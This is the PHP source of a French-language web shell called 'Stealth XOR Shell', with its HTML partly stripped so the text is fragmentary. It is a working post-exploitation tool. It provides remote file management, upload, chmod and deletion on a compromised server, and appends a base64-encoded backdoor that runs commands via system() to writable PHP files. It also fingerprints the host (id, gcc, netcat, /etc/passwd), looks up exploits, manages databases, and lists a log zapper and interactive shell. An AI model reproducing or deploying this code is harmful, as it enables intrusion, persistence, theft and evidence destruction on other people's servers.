Stealth XOR Shell -> $title

HTML; } function decodeSize($bytes) { $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++); return (round($bytes, 2) . $types[$i]); } function checksession() { session_start(); if (!$_SESSION['adentro']) { header("Location: ?login"); } } if (isset($_GET['login'])) { echo <<< HTML Stealth XOR -> Login

HTML; if (isset($_POST['login_submit'])) { $login_user = $_POST['login_user']; $login_passwd = $_POST['login_passwd']; if ($login_user == $loginuser && $login_passwd == $loginpw) { session_start(); $_SESSION['adentro'] = TRUE; $saved = $_SESSION['adentro']; echo ''; } else { echo "

Tu n'éssairai pas de me bz toi par hasard ?

"; } } } function fetchtype() { echo "

Type:

"; echo "

Host

"; echo "

Port

"; } $errormsg[0] = "

Le téléversement numérique de votre fichier as échoué.

"; $errormsg[1] = "

La base est protégé mon capitaine.

"; $errormsg[2] = "

ERREUR: Fichier Non-Writable.

"; $errormsg[3] = "

Privileges -r désolé .

"; $errormsg[4] = "

Ce que tu cherches n'éxistes pas.

"; $errormsg[5] = "

Ce truc est bcp trop balaise.

"; $errormsg[6] = "

Impossible de ce connecter!

"; $errormsg[7] = "

Tu n'as pas oublier quelque chose ?

"; $errormsg[8] = "

Impossible de copier.

"; $errormsg[9] = "

Impossible de mouvoire ce fichier.

"; $errormsg[10] = "

Erreur au telechargement

"; $errormsg[11] = "

Y'as plus de balles dans le chargeur.

"; $errormsg[12] = "

Impossible de modifier cette column.

"; $errormsg[13] = "

J'ai du mal à compter les columns.

"; $errormsg[14] = "

C pas un fichier en PHP fdp.

"; $errormsg[15] = "

Mais ce dossier existe déjà , tu me fait perdre mon temps. :'(

"; $errormsg[16] = "

J'ai pas reussi à créer le dossier, je suis nul :'( .

"; $errormsg[17] = "

Ce fichier existes déjà

"; $errormsg[18] = "

J'ai un peu du mal ce soir, j'ai pas créer ton fichier

"; $errormsg[19] = "

Bon j'avoue j'ai du mal mais ça va venir.

"; $errormsg[20] = "

Tu cherches quoi au juste ?.

"; $errormsg[21] = "

Jtrouve pas de données.¿safe_mode on?.

"; if (!$_GET) { checksession(); page("Index", "300"); echo $msgbox . "

"; } if (isset($_GET['dir'])) { checksession(); if ($_GET['dir'] == "") { header("Location: ?dir=$fetchdir"); } page("File Manager", "auto"); $dir = $_GET['dir']; $dir = @realpath($dir); echo <<< HTML HTML; echo ""; if (isset($_POST['copy'])) { $to = $_POST['atet']; $from = $_POST['copyf']; if (!@copy($from, $to)) { echo $errormsg[8]; } } if (isset($_POST['move'])) { $to = $_POST['atet2']; $from = $_POST['movef']; if (!@rename($from, $to)) { echo $errormsg[9]; } } if (isset($_POST['mkdir'])) { $mkdir = $_POST['dirf']; if (file_exists($mkdir)) { echo $errormsg[15]; } if (!@mkdir($mkdir)) { echo $errormsg[16]; } } if (isset($_POST['mkfile'])) { $mkfile = $_POST['filef']; if (file_exists($mkfile)) { echo $errormsg[17]; } $create = @fopen($mkfile, 'w'); $write = @fwrite($create, ''); if (!isset($write)) { echo $errormsg[18]; } @fclose($create); echo ""; } if (isset($_POST['chmod'])) { $target = $_POST['target']; $set = $_POST['set']; if (!file_exists($target)) { echo $errormsg[20]; } if (!@chmod($target, $set)) { echo $errormsg[19]; } } if (isset($_GET['go'])) { $dir = $_GET['dir']; $dir = @realpath($dir); chdir($dir); } echo ""; if (@$open = opendir($dir)) { echo '

[Upload] [Copie] [Déplacer][MkDir][Touch][Chmod]

'; echo "'; echo "'; echo ""; echo ""; echo ""; echo ""; echo ""; if (isset($_POST['embed'])) { $n1 = pathinfo($_POST['file']); $n2 = $n1['extension']; if ($n2 != "php") { echo $errormsg[14]; echo ""; exit(); } if (!is_writable($_POST['file'])) { echo $errormsg[2]; echo ""; exit(); } if (file_exists($_POST['file'])) { $target = $_POST['file']; $shell = "\n" . base64_decode('PD9waHANCmlmIChpc3NldCgkX0dFVFsnZGdjbWQnXSkpew0KJGMgPSAkX0dFVFsnZGdjbWQnXTsN CmVjaG8gQHN5c3RlbSAoJGMpIC4gIjxici8+IjsgDQp9DQo/Pg=='); $wakeupfile = @fopen($_POST['file'], "a"); @fwrite($wakeupfile, $shell); @fclose($wakeupfile); echo "
Successful!
"; echo "Use: file_target.php?dgcmd=Command"; } } if (isset($_POST['up'])) { $archivo = basename($_FILES['archivo']['name']); $target_path = $dir . "/" . $archivo; if ($_FILES['archivo']['size'] > 0) { @move_uploaded_file($_FILES['archivo']['tmp_name'], $target_path); } } echo "

Permisions Taille Dossiers & Fichiers Que faire?";
        while ($items = readdir($open)) {
            error_reporting(0);
            $dir = $_GET['dir'];
            if ($items != "." && $items != "..") {
                $check       = $dir . "/" . $items;
                $verify_file = pathinfo($check);
                
                
                $permisos = fileperms($check);
                
                if (($permisos & 0xC000) == 0xC000) {
                    $info = 's';
                } elseif (($permisos & 0xA000) == 0xA000) {
                    $info = 'l';
                } elseif (($permisos & 0x8000) == 0x8000) {
                    $info = '-';
                } elseif (($permisos & 0x6000) == 0x6000) {
                    $info = 'b';
                } elseif (($permisos & 0x4000) == 0x4000) {
                    $info = 'd';
                } elseif (($permisos & 0x2000) == 0x2000) {
                    $info = 'c';
                } elseif (($permisos & 0x1000) == 0x1000) {
                    $info = 'p';
                } else {
                    $info = 'u';
                }
                
                $info .= (($permisos & 0x0100) ? 'r' : '-');
                $info .= (($permisos & 0x0080) ? 'w' : '-');
                $info .= (($permisos & 0x0040) ? (($permisos & 0x0800) ? 's' : 'x') : (($permisos & 0x0800) ? 'S' : '-'));
                
                $info .= (($permisos & 0x0020) ? 'r' : '-');
                $info .= (($permisos & 0x0010) ? 'w' : '-');
                $info .= (($permisos & 0x0008) ? (($permisos & 0x0400) ? 's' : 'x') : (($permisos & 0x0400) ? 'S' : '-'));
                
                $info .= (($permisos & 0x0004) ? 'r' : '-');
                $info .= (($permisos & 0x0002) ? 'w' : '-');
                $info .= (($permisos & 0x0001) ? (($permisos & 0x0200) ? 't' : 'x') : (($permisos & 0x0200) ? 'T' : '-'));
                
                
                $dir       = $dir . "/";
                $dir       = @realpath($dir);
                $FilePerms = $check;
                $size      = filesize($check);
                if (!is_readable($dir)) {
                    echo $errormsg[1];
                }


                if (is_dir($check)) {
                    $decodesize = "-";
                } else {
                    $decodesize = decodeSize($size);
                }
                if (is_dir($check)) {
                    echo "$info $decodesize /$items/ Delete";
                } else {
                    $dir = $_GET['dir'];
                    $dir = @realpath($dir);
                    echo "$info $decodesize $items Voir || DL || Poubelle";
                }
                echo "";
            }
        }
    }
    echo "

"; echo ""; @closedir($dir); } if (isset($_GET['edit'])) { checksession(); page("Edit", "auto"); echo ' HTML; } if (isset($_GET['d'])) { checksession(); error_reporting(0); if (file_exists($_GET['d'])) { $sD = $_GET['d']; $fD = filesize($_GET['d']); $file_extension = strtolower(substr(strrchr($sD, '.'), 1)); switch ($file_extension) { case 'pdf': $ctype = 'application/pdf'; break; case 'exe': $ctype = 'application/octet-stream'; break; case 'sh': $ctype = 'application/octet-stream'; break; case 'zip': $ctype = 'application/zip'; break; case 'doc': $ctype = 'application/msword'; break; case 'xls': $ctype = 'application/vnd.ms-excel'; break; case 'ppt': $ctype = 'application/vnd.ms-powerpoint'; break; case 'gif': $ctype = 'image/gif'; break; case 'png': $ctype = 'image/png'; break; case 'jpe': case 'jpeg': case 'jpg': $ctype = 'image/jpg'; break; default: $ctype = 'application/force-download'; } header('Content-Description: File Transfer'); header('Content-Type: ' . $ctype); header("Content-Disposition: attachment; filename=" . $sD); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . $fD); ob_clean(); flush(); readfile($sD); } else { page("Error", "auto"); echo $errormsg[4]; echo ""; } } if (isset($_GET['del'])) { checksession(); $del = $_GET['del']; $delPath = dirname($_GET['del']); $delPath = @realpath($delPath); if (is_dir($del)) { $del = rmdir($del); } else { $del = @unlink($_GET['del']); } if ($del) { header("Location: ?dir=$delPath"); } else { error_reporting(0); page("Error", "auto"); echo $errormsg[5]; echo ""; } } if (isset($_GET['info'])) { checksession(); if (@ini_get("safe_mode") == 1) { $safe_mode = "On"; } else { $safe_mode = "Off"; } if (@function_exists("curl_version")) { $curl = "Tkt il es la "; } else { $curl = "Il est pas la"; } @ob_start(); if (@system("gcc --help")) { $gcc = "Tu peux compiler"; } else { $gcc = "Range ta bite"; } if (@system("nc --help")) { $netcat = "Bordel il ont netcat c trdc"; } else { $netcat = "Tu t'attendait à quoi ?"; } @ob_clean(); $uname = php_uname('s'); if ($uname == "Linux") { $disk_total_space = disk_total_space("/"); $disk_free_space = disk_free_space("/"); $disk = "/"; } elseif ($uname == "FreeBSD") { $disk_total_space = disk_total_space("/"); $disk_free_space = disk_free_space("/"); $disk = "/"; } else { $disk_total_space = disk_total_space("C:"); $disk_free_space = disk_free_space("C:"); $disk = "C:"; } $extens = get_loaded_extensions(); page("si", "auto"); echo "

Informations sur le serveur

"; echo "

OS: " . PHP_OS . "

"; echo "

uname -a: " . php_uname() . "

"; echo "

IP Du Serveur : " . $_SERVER['SERVER_ADDR'] . "

"; echo "

Safe-mode: " . $safe_mode . "

"; echo "

Version de PHP: " . phpversion(); echo <<< HTML [phpinfo]

HTML; echo "

Espace de ' $disk ': " . decodeSize($disk_total_space) . "/" . decodeSize($disk_free_space) . "

"; echo "

cURL: " . $curl . "

"; echo "

GCC: " . $gcc . "

"; echo "

Netcat: " . $netcat . "

"; echo "

Utilisateur : " . get_current_user() . "

"; if (is_readable("/etc/passwd")) { echo "

/etc/passwd : [Télécharger]

"; } @ob_start(); @passthru(@system("id")); $id = @ob_get_contents(); @ob_end_clean(); if (@ini_get("safe_mode") == 1) { $id = "Unreachable"; } echo "

id : " . $id . "

"; $uTwo = php_uname('r'); $uTwo = explode("-", $uTwo); if (php_uname('s') == "Linux") { for ($i = 0; $i < 1; $i++) { $uTwoT = $uTwo[$i]; } } else { $uTwoT = $uTwo; } echo "

Chercher un exploit :

"; echo ""; if (isset($_POST['submit_exploit'])) { if (trim($_POST['busqueda']) == "") { echo ""; exit(); } if ($_POST['query'] == "ExploitDB") { $exploit_query = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=&filter_exploit_text=" . $_POST['busqueda'] . "&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve"; } elseif ($_POST['query'] == "Metasploit") { $exploit_query = "http://www.metasploit.com/search.jsp?cx=009245545489775321519%3Azlrrcrpwkkq&cof=FORID%3A10%3BNB%3A1&ie=UTF-8&q=" . $_POST['busqueda']; } elseif ($_POST['query'] == "CVS") { $exploit_query = "http://cvedetails.com/google-search-results.php?cx=partner-pub-9597443157321158%3Advjtec-wfv5&cof=FORID%3A9&ie=UTF-8&q=" . $_POST['query'] . "&sa=Search&siteurl=cvedetails.com%2Fcve-details.php%3Ft%3D1%26cve_id%3Dse&ref=cvedetails.com%2Fgoogle-search-results.php%3Fcx%3Dpartner-pub-9597443157321158%253Advjtec-wfv5%26cof%3DFORID%253A9%26ie%3DUTF-8%26q%3Di%2Bmean%26sa%3DSearch%26siteurl%3Dwww.cvedetails.com%252F%26ref%3Dwww.google.com.ar%252Furl%253Fsa%253Dt%2526rct%253Dj%2526q%253Dexploit%252520search%2526source%253Dweb%2526cd%253D10%2526ved%253D0CHwQFjAJ%2526url%253Dhttp%25253A%25252F%25252Fwww.cvedetails.com%25252F%2526ei%253DWhceUM36HIrc9ASs5ID4Aw%2526usg%253DAFQjCNHcIgItjbPQKDjBLeFw26ZXTNFdqg%2526cad%253Drja%26ss%3D835j159051j7&ss=222j26690j3"; } echo ""; } } if (isset($_GET['sql'])) { checksession(); if (isset($_SESSION['connected'])) { header("Location: ?dbmanager"); } page("SQL", "auto"); if (isset($_POST['connect'])) { if ($_POST['hostname'] == "") { echo $errormsg[7]; } elseif ($_POST['user'] == "") { echo $errormsg[7]; } elseif ($_POST['db'] == "") { echo $errormsg[7]; } elseif ($_POST['pw'] == "") { echo $errormsg[7]; } elseif ($_POST['pw'] == "") { echo $errormsg[7]; } $dbhost = $_POST['hostname']; $dbuser = $_POST['user']; $dbpw = $_POST['pw']; $dbport = $_POST['port']; $db = $_POST['db']; $dbtype = $_POST['connection']; $hostandport = $dbhost . ":" . $dbport; if ($dbtype == "MySQL") { if (@mysql_connect($hostandport, $dbuser, $dbpw)) { session_start(); $_SESSION['connected'] = true; $_SESSION['user'] = $dbuser; $_SESSION['db'] = $db; $_SESSION['hostandport'] = $hostandport; $_SESSION['host'] = $dbhost; $_SESSION['port'] = $dbport; $_SESSION['pw'] = $dbpw; $_SESSION['type'] = $dbtype; header("Location: ?dbmanager"); } else { echo $errormsg[6]; } } elseif ($dbtype == "PostgreSQL") { if (@pg_connect("host=$dbhost port=$dbport dbname=$db user=$dbuser password=$dbpw")) { session_start(); $_SESSION['connected'] = true; $_SESSION['user'] = $dbuser; $_SESSION['db'] = $db; $_SESSION['host'] = $dbhost; $_SESSION['port'] = $dbport; $_SESSION['pw'] = $dbpw; $_SESSION['type'] = $dbtype; header("Location: ?dbmanager"); } else { echo $errormsg[6]; } } } else { echo "

Connexion à la DB

"; echo '

'; fetchtype(); echo "

Utilisateur

"; echo "

Db

Mot De Passe

"; echo "

Informations sur le serveur

Connexion à la DB

Database Manager

Log Zapper

Log Zapper

Log Zapper

Log Zapper

Log Zapper

Encrypt/Decrypt

Encrypt/Decrypt

Encrypt/Decrypt

Shell Interactive

Shell Interactive

Reverse DNS